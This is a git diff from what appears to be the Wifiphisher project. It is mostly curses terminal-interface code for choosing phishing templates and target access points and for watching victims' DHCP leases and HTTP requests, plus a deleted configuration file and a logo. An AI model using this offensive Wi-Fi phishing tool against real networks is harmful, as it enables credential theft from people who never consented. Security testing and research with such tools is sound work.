+ :param self: A TuiTemplateSelection object + :type self: TuiTemplateSelection + :param screen: A curses window object + :type screen: _curses.curses.window + :return total row numbers used to display the phishing scenarios + :rtype: int + """ + + try: + max_window_height, max_window_len = screen.getmaxyx() + if self.dimension[0] != max_window_height or\ + self.dimension[1] != max_window_len: + screen.erase() + self.dimension[0] = max_window_height + self.dimension[1] = max_window_len + # add margins for changing the pages + self.update_sec_page_map(max_window_height - 20) + display_str = "Options: [Up Arrow] Move Up [Down Arrow] Move Down" + screen.addstr(0, 0, display_string(max_window_len, display_str)) + display_str = "Available Phishing Scenarios:" + screen.addstr(3, 0, + display_string(max_window_len, display_str), + curses.A_BOLD) + except curses.error: + return 0 + + # add blank line + row_num = 5 + first = False + for number, short_lines in enumerate(self.sections): + try: + + # incase user shrink the window and the heightlight section + # is in the next page. for this case, just shift the + # heightlight section to the first scenario in the first + # page + if self.sec_page_map[self.heightlight_number] !=\ + self.page_number and not first: + # heightlight the first scenario + screen.addstr(row_num, 2, short_lines[0], + self.heightlight_text) + self.heightlight_number = 0 + self.page_number = 0 + first = True + + # display the sections belonged to the current page + if self.sec_page_map[number] != self.page_number: + continue + + screen.addstr(row_num, 0, str(number + 1), self.green_text) + + # emphasize the phishing scenario + if number == self.heightlight_number: + screen.addstr(row_num, 2, short_lines[0], + self.heightlight_text) + else: + screen.addstr(row_num, 2, short_lines[0], curses.A_BOLD) + row_num += 1 + # add 8 spaces to the first line + screen.addstr(row_num, 8, short_lines[1]) + row_num += 1 + if len(short_lines) > 1: + for short_line in short_lines[2:]: + screen.addstr(row_num, 0, short_line) + row_num += 1 + # add blank line between phishing scenarios + row_num += 1 + except curses.error: + return row_num + + return row_num + + def display_info(self, screen, templates, template_names): + """ + Display the template information to users + :param self: A TuiTemplateSelection object + :type self: TuiTemplateSelection + :param screen: A curses window object + :type screen: _curses.curses.window + :param templates: A dictionay map page to PhishingTemplate + :type templates: dict + :param template_names: list of template names + :type template_names: list + """ + + # setup curses + curses.curs_set(0) + screen.nodelay(True) + curses.init_pair(1, curses.COLOR_GREEN, screen.getbkgd()) + # heightlight the phishing scenarios + curses.init_pair(2, curses.COLOR_BLACK, curses.COLOR_CYAN) + + self.green_text = curses.color_pair(1) | curses.A_BOLD + self.heightlight_text = curses.color_pair(2) | curses.A_BOLD + + # setup number of templates + number_of_sections = len(templates) + + # how many chars for user keying the template number + screen.erase() + while True: + # display the four default phishing scenarios + # catch the exception when screen size is smaller than + # the text length + row_number = self.display_phishing_scenarios(screen) + + # update the heightlight_number + key = screen.getch() + self.key_movement(screen, number_of_sections, key) + # add two blank lines + row_number += 2 + # display the words of chosen template + if key == ord("\n"): + try: + screen.addstr(row_number, 3, "YOU HAVE SELECTED " + + template_names[self.heightlight_number], + curses.A_BOLD) + except curses.error: + pass + screen.refresh() + time.sleep(1) + template_name = template_names[self.heightlight_number] + template = templates[template_name] + return template + screen.refresh() + + +class ApDisplayInfo(object): + """ + ApDisplayInfo class to store the information for ap selection + """ + + def __init__(self, pos, page_number, box, box_info): + """ + Construct the class + :param self: ApDisplayInfo + :param pos: position of the line in the ap selection page + :param page_number: page number of the ap selection + :param box: the curses.newwin.box object containing ap information + :param key: the key user have keyed in + :param box_info: list of window height, window len, and max row number + :type self: ApDisplayInfo + :type pos: int + :type page_number: int + :type box: curse.newwin.box + :type key: str + :return: None + :rtype: None + """ + + self.pos = pos + self.page_number = page_number + self.box = box + # list of (max_win_height, max_win_len, max_row, key) + self._box_info = box_info + + @property + def max_h(self): + """ + The height of the terminal screen + :param self: ApDisplayInfo + :type self: ApDisplayInfo + :return: the height of terminal screen + :rtype: int + """ + + return self._box_info[0] + + @max_h.setter + def max_h(self, val): + """ + Set the height of the terminal screen + :param self: ApDisplayInfo + :type self: ApDisplayInfo + :return: None + :rtype: None + """ + + self._box_info[0] = val + + @property + def max_l(self): + """ + The width of the terminal screen + :param self: ApDisplayInfo + :type self: ApDisplayInfo + :return: the width of terminal screen + :rtype: int + """ + + return self._box_info[1] + + @max_l.setter + def max_l(self, val): + """ + Set the width of the terminal screen + :param self: ApDisplayInfo + :type self: ApDisplayInfo + :return: None + :rtype: None + """ + + self._box_info[1] = val + + @property + def max_row(self): + """ + Maximum row numbers used to contain the ap information + :param self: ApDisplayInfo + :type self: ApDisplayInfo + :return: The row numbers of the box that contains the ap info + :rtype: int + """ + + return self._box_info[2] + + @max_row.setter + def max_row(self, val): + """ + Set maximum row numbers used to contain the ap information + :param self: ApDisplayInfo + :type self: ApDisplayInfo + :return: None + :rtype: None + """ + + self._box_info[2] = val + + @property + def key(self): + """ + Get the key the users have keyed + :param self: ApDisplayInfo + :type self: ApDisplayInfo + :return: The key + :rtype: int + """ + + return self._box_info[3] + + @key.setter + def key(self, val): + """ + Set the key the users have keyed + :param self: ApDisplayInfo + :type self: ApDisplayInfo + :return: None + :rtype: None + """ + + self._box_info[3] = val + + +class TuiApSel(object): + """ + TuiApSel class to represent the ap selection terminal window + """ + + def __init__(self): + """ + Construct the class + :param self: A TuiApSel object + :type self: TuiApSel + :return: None + :rtype: None + """ + + self.total_ap_number = 0 + self.access_points = list() + self.access_point_finder = None + self.highlight_text = None + self.normal_text = None + self.mac_matcher = None + # when screen becomes too small we'll create a box with + # the size equal to the screen terminal. We need to renew + # the box when the screen terminal expands again. + self.renew_box = False + + def init_display_info(self, screen, info): + """ + Initialization of the ApDisplyInfo object + :param self: A TuiApSel object + :type self: TuiApSel + :param screen: A curses window object + :type screen: _curses.curses.window + :param info: A namedtuple of information from pywifiphisher + :type info: namedtuple + :return ApDisplayInfo object + :rtype: ApDisplayInfo + """ + position = 1 + page_number = 1 + + # get window height, length and create a box inside + max_window_height, max_window_length = screen.getmaxyx() + if max_window_height < 14 or max_window_length < 9: + box = curses.newwin(max_window_height, max_window_length, 0, 0) + self.renew_box = True + else: + box = curses.newwin(max_window_height - 9, max_window_length - 5, + 4, 3) + box.box() + + # calculate the box's maximum number of row's + box_height = box.getmaxyx()[0] + # subtracting 2 from the height for the border + max_row = box_height - 2 + key = 0 + box_info = [max_window_height, max_window_length, max_row, key] + + ap_info = ApDisplayInfo(position, page_number, box, box_info) + + self.mac_matcher = info.mac_matcher + # start finding access points + self.access_point_finder = recon.AccessPointFinder( + info.interface, info.network_manager) + if info.args.lure10_capture: + self.access_point_finder.capture_aps() + self.access_point_finder.find_all_access_points() + + return ap_info + + def gather_info(self, screen, info): + """ + Get the information from pywifiphisher and print them out + :param self: A TuiApSel object + :type self: TuiApSel + :param screen: A curses window object + :type screen: _curses.curses.window + :param info: A namedtuple of information from pywifiphisher + :type info: namedtuple + :return AccessPoint object if users type enter + :rtype AccessPoint if users type enter else None + """ + # setup curses + # make cursor invisible + curses.curs_set(0) + # don't wait for user input + screen.nodelay(True) + # setup the font color + curses.init_pair(1, curses.COLOR_BLACK, curses.COLOR_CYAN) + self.highlight_text = curses.color_pair(1) + self.normal_text = curses.A_NORMAL + + # information regarding access points + ap_info = self.init_display_info(screen, info) + + # show information until user presses Esc key + while ap_info.key != 27: + # display info will modifiy the key value + is_done = self.display_info(screen, ap_info) + + if is_done: + # turn off access point discovery and return the result + self.access_point_finder.stop_finding_access_points() + return self.access_points[ap_info.pos - 1] + + # turn off access point discovery + self.access_point_finder.stop_finding_access_points() + + def resize_window(self, screen, ap_info): + """ + Resize the window if the dimensions have been changed + + :param self: A TuiApSel object + :type self: TuiApSel + :param screen: A curses window object + :type screen: _curses.curses.window + :param ap_info: An ApDisplayInfo object + :type ap_info: ApDisplayInfo + """ + + if screen.getmaxyx() != (ap_info.max_h, ap_info.max_l): + ap_info.max_h, ap_info.max_l = screen.getmaxyx() + # sanity check for the box size (the height needed is 10 and + # the width needed is 6. Just create a box which is same as the + # base screen + if ap_info.max_h < 10 + 4 or ap_info.max_l < 6 + 3: + box = curses.newwin(ap_info.max_h, ap_info.max_l, 0, 0) + box.box() + ap_info.box = box + self.renew_box = True + return + elif self.renew_box: + screen.erase() + box = curses.newwin(ap_info.max_h - 9, ap_info.max_l - 5, 4, 3) + box.box() + ap_info.box = box + self.renew_box = False + + ap_info.box.resize(ap_info.max_h - 9, ap_info.max_l - 5) + # calculate the box's maximum number of row's + box_height = ap_info.box.getmaxyx()[0] + # subtracting 2 from the height for the border + ap_info.max_row = box_height - 2 + # reset the page and position to avoid problems + ap_info.pos = 1 + ap_info.page_number = 1 + + def key_movement(self, ap_info): + """ + Check for any key movement and update it's result + + :param self: A TuiApSel object + :type self: TuiApSel + :param ap_info: ApDisplayInfo object + :type: ApDisplayInfo + :return: None + :rtype: None + """ + + key = ap_info.key + pos = ap_info.pos + max_row = ap_info.max_row + page_number = ap_info.page_number + + # in case arrow down key has been pressed + if key == curses.KEY_DOWN: + # if next item exists move down, otherwise don't move + try: + self.access_points[pos] + except IndexError: + ap_info.key = 0 + ap_info.pos = pos + ap_info.max_row = max_row + return + + # if next item is in the next page change page and move + # down otherwise just move down) + if pos % max_row == 0: + pos += 1 + page_number += 1 + else: + pos += 1 + + # in case arrow up key has been pressed + elif key == curses.KEY_UP: + # if not the first item + if (pos - 1) > 0: + # if previous item is in previous page_number, change page + # and move up otherwise just move up + if (pos - 1) % max_row == 0: + pos -= 1 + page_number -= 1 + else: + pos -= 1 + # update key, position, and page_number + ap_info.key = key + ap_info.pos = pos + ap_info.page_number = page_number + + def display_info(self, screen, ap_info): + """ + Display the AP informations on the screen + + :param self: A TuiApSel object + :type self: TuiApSel + :param screen: A curses window object + :type screen: _curses.curses.window + :param ap_info: An ApDisplayInfo object + :type ap_info: ApDisplayInfo + :return True if ap selection is done + :rtype: bool + """ + + is_apsel_end = False + self.resize_window(screen, ap_info) + + # check if any new access points have been discovered + new_total_ap_number = len( + self.access_point_finder.get_all_access_points()) + + if new_total_ap_number != self.total_ap_number: + self.access_points = self.access_point_finder.\ + get_sorted_access_points() + self.total_ap_number = len(self.access_points) + + # display the information to the user + self.display_access_points(screen, ap_info) + # check for key movement and store result + self.key_movement(ap_info) + + # ask for a key input (doesn't block) + ap_info.key = screen.getch() + if ap_info.key == ord("\n") and self.total_ap_number != 0: + # show message and exit + screen.addstr(ap_info.max_h - 2, 3, "YOU HAVE SELECTED " + + self.access_points[ap_info.pos - 1].get_name()) + screen.refresh() + time.sleep(1) + is_apsel_end = True + return is_apsel_end + + def display_access_points(self, screen, ap_info): + """ + Display information in the box window + + :param self: A TuiApSel object + :type self: TuiApSel + :param screen: A curses window object + :type screen: _curses.curses.window + :param ap_info: An ApDisplayInfo object + :type ap_info: ApDisplayInfo + :return: None + :rtype: None + .. note: The display system is setup like the following: + + ---------------------------------------- + - (1,3)Options - + - (3,5)Header - + - (4,3)**************************** - + - * ^ * - + - * | * - + - * | * - + - < * |---- * - + - v * | v * - + - v * | v * - + - v * | v * - + - v * v v * - + - v ************v*************** - + - v v v - + -----v-------------v------v------------- + v v v + v v > max_window_length-5 + v v + max_window_height-9 v + V + v--> box_height-2 + + """ + + # get the page boundary + page_boundary = range(1 + (ap_info.max_row * + (ap_info.page_number - 1)), + ap_info.max_row + 1 + + (ap_info.max_row * (ap_info.page_number - 1))) + + # remove previous content and draw border + ap_info.box.erase() + ap_info.box.border(0) + + # show the header + header_fmt = "{0:30} {1:16} {2:3} {3:4} {4:9} {5:5} {6:20}" + header = header_fmt.format("ESSID", "BSSID", "CH", "PWR", "ENCR", + "CLIENTS", "VENDOR") + opt_str = ("Options: [Esc] Quit [Up Arrow] Move Up " + "[Down Arrow] Move Down") + + try: + window_l = screen.getmaxyx()[1] + screen.addstr(1, 3, display_string(window_l - 3, opt_str)) + screen.addstr(3, 5, display_string(window_l - 5, header)) + except curses.error: + return + + # show all the items based on their position + for item_position in page_boundary: + # in case of no access points discovered yet + if self.total_ap_number == 0: + display_str = "No access point has been discovered yet!" + try: + ap_info.box.addstr(1, 1, + display_string(ap_info.max_l - 1, + display_str), + self.highlight_text) + except curses.error: + return + # in case of at least one access point + else: + # get the access point and it's vendor + access_point = self.access_points[item_position - 1] + vendor = self.mac_matcher.get_vendor_name( + access_point.get_mac_address()) + + # the display format for showing access points + display_text = (( + "{0:30} {1:17} {2:2} {3:3}% {4:^7} {5:^5}" + " {6:20}").format( + access_point.get_name(), + access_point.get_mac_address(), + access_point.get_channel(), + access_point.get_signal_strength(), + access_point.get_encryption(), + access_point.get_number_connected_clients(), vendor)) + # shows whether the access point should be highlighted or not + # based on our current position + print_row_number = item_position - ap_info.max_row * ( + ap_info.page_number - 1) + + # bypass the addstr exception + try: + + if item_position == ap_info.pos: + ap_info.box.addstr(print_row_number, 2, + display_string( + ap_info.max_l - 2, + display_text), + self.highlight_text) + else: + ap_info.box.addstr(print_row_number, 2, + display_string( + ap_info.max_l - 2, + display_text), self.normal_text) + except curses.error: + return + + # stop if it is the last item in page + if item_position == self.total_ap_number: + break + + # update the screen + screen.refresh() + ap_info.box.refresh() + + +class TuiMain(object): + """ + TuiMain class to represent the main terminal window + """ + + def __init__(self): + """ + Construct the class + :param self: A TuiMain object + :type self: TuiMain + :return: None + :rtype: None + """ + + self.blue_text = None + self.orange_text = None + self.yellow_text = None + + def gather_info(self, screen, info): + """ + Get the information from pywifiphisher and print them out + :param self: A TuiMain object + :param screen: A curses window object + :param info: A namedtuple of printing information + :type self: TuiMain + :type screen: _curses.curses.window + :type info: namedtuple + :return: None + :rtype: None + """ + + # setup curses + curses.curs_set(0) + screen.nodelay(True) + curses.init_pair(1, curses.COLOR_BLUE, screen.getbkgd()) + curses.init_pair(2, curses.COLOR_YELLOW, screen.getbkgd()) + self.blue_text = curses.color_pair(1) | curses.A_BOLD + self.yellow_text = curses.color_pair(2) | curses.A_BOLD + + while True: + # catch the exception when screen size is smaller than + # the text length + is_done = self.display_info(screen, info) + if is_done: + return + + def print_http_requests(self, screen, start_row_num, http_output): + """ + Print the http request on the main terminal + :param self: A TuiMain object + :type self: TuiMain + :param start_row_num: start line to print the http request + type start_row_num: int + :param http_output: string of the http requests + :type http_output: str + """ + + requests = http_output.splitlines() + match_str = r"(.*\s)(request from\s)(.*)(\sfor|with\s)(.*)" + for request in requests: + # match the information from the input string + match = re.match(match_str, request) + if match is None: + continue + + # POST or GET + request_type = match.group(1) + # requst from + request_from = match.group(2) + # ip address or http address + ip_address = match.group(3) + # for or with + for_or_with = match.group(4) + resource = match.group(5) + + start_col = 0 + screen.addstr(start_row_num, start_col, '[') + start_col += 1 + screen.addstr(start_row_num, start_col, '*', self.yellow_text) + start_col += 1 + screen.addstr(start_row_num, start_col, '] ') + start_col += 2 + + # concatenate GET or POST + screen.addstr(start_row_num, start_col, request_type, + self.yellow_text) + start_col += len(request_type) + + # concatenate the word 'request from' + screen.addstr(start_row_num, start_col, request_from) + start_col += len(request_from) + + # concatenate the ip address + screen.addstr(start_row_num, start_col, ip_address, + self.yellow_text) + start_col += len(ip_address) + + # concatenate with or for + screen.addstr(start_row_num, start_col, for_or_with) + start_col += len(for_or_with) + + # resource url + screen.addstr(start_row_num, start_col, resource, self.yellow_text) + + start_row_num += 1 + + def display_info(self, screen, info): + """ + Print the information of Victims on the terminal + :param self: A TuiMain object + :param screen: A curses window object + :param info: A nameduple of printing information + :type self: TuiMain + :type screen: _curses.curses.window + :type info: namedtuple + :return True if users have pressed the Esc key + :rtype: bool + """ + + is_done = False + screen.erase() + + _, max_window_length = screen.getmaxyx() + try: + # print the basic info on the right top corner + screen.addstr(0, max_window_length - 30, "|") + screen.addstr(1, max_window_length - 30, "|") + # continue from the "Wifiphisher" + screen.addstr(1, max_window_length - 29, + " Wifiphisher " + info.version, self.blue_text) + + screen.addstr(2, max_window_length - 30, + "|" + " ESSID: " + info.essid) + screen.addstr(3, max_window_length - 30, + "|" + " Channel: " + info.channel) + screen.addstr(4, max_window_length - 30, + "|" + " AP interface: " + info.ap_iface) + screen.addstr(5, max_window_length - 30, + "|" + " Options: [Esc] Quit") + screen.addstr(6, max_window_length - 30, "|" + "_" * 29) + + # Print the extensions section + screen.addstr(1, 0, "Extensions feed: ", self.blue_text) + except curses.error: + pass + + if info.em: + # start raw number from 2 + raw_num = 2 + for client in info.em.get_output()[-5:]: + screen.addstr(raw_num, 0, client) + raw_num += 1 + try: + # print the dhcp lease section + screen.addstr(7, 0, "DHCP Leases: ", self.blue_text) + if os.path.isfile('/var/lib/misc/dnsmasq.leases'): + dnsmasq_output = check_output( + ['head', '-5', '/var/lib/misc/dnsmasq.leases']) + screen.addstr(8, 0, dnsmasq_output) + + # print the http request section + screen.addstr(13, 0, "HTTP requests: ", self.blue_text) + if os.path.isfile('/tmp/wifiphisher-webserver.tmp'): + http_output = check_output( + ['tail', '-5', '/tmp/wifiphisher-webserver.tmp']) + self.print_http_requests(screen, 14, http_output) + except curses.error: + pass + + # detect if users have pressed the Esc Key + if screen.getch() == 27: + is_done = True + + if info.phishinghttp.terminate and info.args.quitonsuccess: + is_done = True + + screen.refresh() + return is_done + + +def display_string(w_len, target_line): + """ + Display the line base on the max length of window length + :param w_len: length of window + :param target_line: the target display string + :type w_len: int + :type target_line: str + :return: The final displaying string + :rtype: str + """ + + return target_line if w_len >= len(target_line) else target_line[:w_len] + + +def line_splitter(num_of_words, line): + """ + Split line to the shorter lines + :param num_of_words: split the line into the line with lenth equeal + to num_of_words + :type num_of_words: int + :param line: A sentence + :type line: str + :return: tuple of shorter lines + :rtype: tuple + """ + pieces = line.split() + return (" ".join(pieces[i:i + num_of_words]) + for i in xrange(0, len(pieces), num_of_words)) diff --git a/wifiphisher/common/uimethods.py b/wifiphisher/common/uimethods.py new file mode 100644 index 0000000..0df83ef --- /dev/null +++ b/wifiphisher/common/uimethods.py @@ -0,0 +1,12 @@ +import constants +import importlib +from functools import wraps + + +def uimethod(func): + def _decorator(data, *args, **kwargs): + response = func(data, *args, **kwargs) + return response + + func.is_uimethod = True + return wraps(func)(_decorator) diff --git a/wifiphisher/constants.py b/wifiphisher/constants.py deleted file mode 100644 index 93d158c..0000000 --- a/wifiphisher/constants.py +++ /dev/null @@ -1,35 +0,0 @@ -#!/usr/bin/env python2 -# -*- coding: utf-8 -*- - -import os - -dir_of_executable = os.path.dirname(__file__) -path_to_project_root = os.path.abspath(os.path.join(dir_of_executable, '../wifiphisher')) -dir_of_data = path_to_project_root + '/data/' - -# Basic configuration -PORT = 8080 -SSL_PORT = 443 -CHANNEL = 6 -PEM = dir_of_data + 'cert/server.pem' -PHISHING_PAGES_DIR = dir_of_data + "phishing-pages/" -LOGOS_DIR = dir_of_data + "logos/" -MAC_PREFIX_FILE = dir_of_data + "wifiphisher-mac-prefixes" -POST_VALUE_PREFIX = "wfphshr" -NETWORK_IP = "10.0.0.0" -NETWORK_MASK = "255.255.255.0" -NETWORK_GW_IP = "10.0.0.1" -DHCP_LEASE = "10.0.0.2,10.0.0.100,12h" -LINES_OUTPUT = 3 -DN = open(os.devnull, 'w') - -# Console colors -W = '\033[0m' # white (normal) -R = '\033[31m' # red -G = '\033[32m' # green -O = '\033[33m' # orange -B = '\033[34m' # blue -P = '\033[35m' # purple -C = '\033[36m' # cyan -GR = '\033[37m' # gray -T = '\033[93m' # tan diff --git a/wifiphisher/data/locs/.gitkeep b/wifiphisher/data/locs/.gitkeep new file mode 100644 index 0000000..e69de29 diff --git a/wifiphisher/data/logos/asus.png b/wifiphisher/data/logos/asus.png deleted file mode 100644 index b3120ae35e0e6338d2b009c8345b9c2a95abeb73..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 3572 zcmZvf3p7+~8^^aX?!_D_w=iQ|b0kDbGQ-Rmk=zQ0a73h-ayv0%+{bNZ+(Jk+iAabN zqJu&%kwRe*5 z4ghR4@EXU>4xZm#Rl5cNkY!V2ODuQ`09ycw1f02#LXp(f)0NJUWDFDGDAIl{irA@i zVO*>dDn(v98idjqG8{#fG`g|hfTEzEEQg8%Arcph(5JysF;WIp32c&_9z_NP!gy&+ z0zxkij;BiDlH@Q{8NEcL0Yw^{Agv#dK-1v3I4Kb7C(58HNL+$6h5||u2Jvt#RR$9; zqeo>yEJYfGdK5U01_z-&6{(ki#8O#ikYFh?7%Eaf9*Lu}v=}POfTh4OG^9QSsRu%^ z2P(^eqad&}84Lvp3PFOQA@r#rL4ZV`6_#c>!CKo8OGWM&cHj>!6#+t4IU1`gmKJpW z3;vK$5MYue0ehhRH2)9$%Ru?5Wi`e!v$X$$tloAEtUiAv!8|Jr)&d6s7yg)TdypN@ zsYoK<%l{%C$X{NoY0X{=k; z!k@?Xu5LH5{pc^g-Nw#d{WHANEx7z2d9dPtWB>p9ANjwBx3;z(YuT!UFaDa3xrqh9 z24RPCaB^|;@bc~2%`X7^MR1SM-hIL%qGICvB_yTb2x+8@tem`p;sK>!l@F>MQdLtw ztf6`2sMay<<0o`cXgz%l7H5DrJZWTn%H*_}xrODKvsTtNzuDTIvv+X(-RZou%LP}r zi|&^$dw3GAT=nwy@%8)TntuQ>@Ols_Bs45MA~K2`9TOWDPodHh5|ffsZltEA-^|F& zx|Mx9C-)BhZr;88g8M}eiXWDgmOU!3c>JXDX;pR2v)a1nf7UlNzIfTx-14fmt-a%Q zXV;tVx9@s-``&-(9~fi|ef%^$GWz+;*!b6p$*JjYGqZEd`Gv)$-BrvN&y;rdimrgf4@FB6ibG#SlVxW

E;qe2I#yt|60bS;C5q-|TMZ~F4$cr-NcCaUS1k-2Bq9|hBA z2h=d*tur>jM>^q?DIlaF9XdPxbTEGf-BeuRyIFk41R;4t zsWBcB(foQU<|xpYt_YLru5fu|N~ydRd`D|3tg~UOAn5)5eJ@@W3Mr|W6|Jv7+~;

Ik{)*sv(7Mu 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 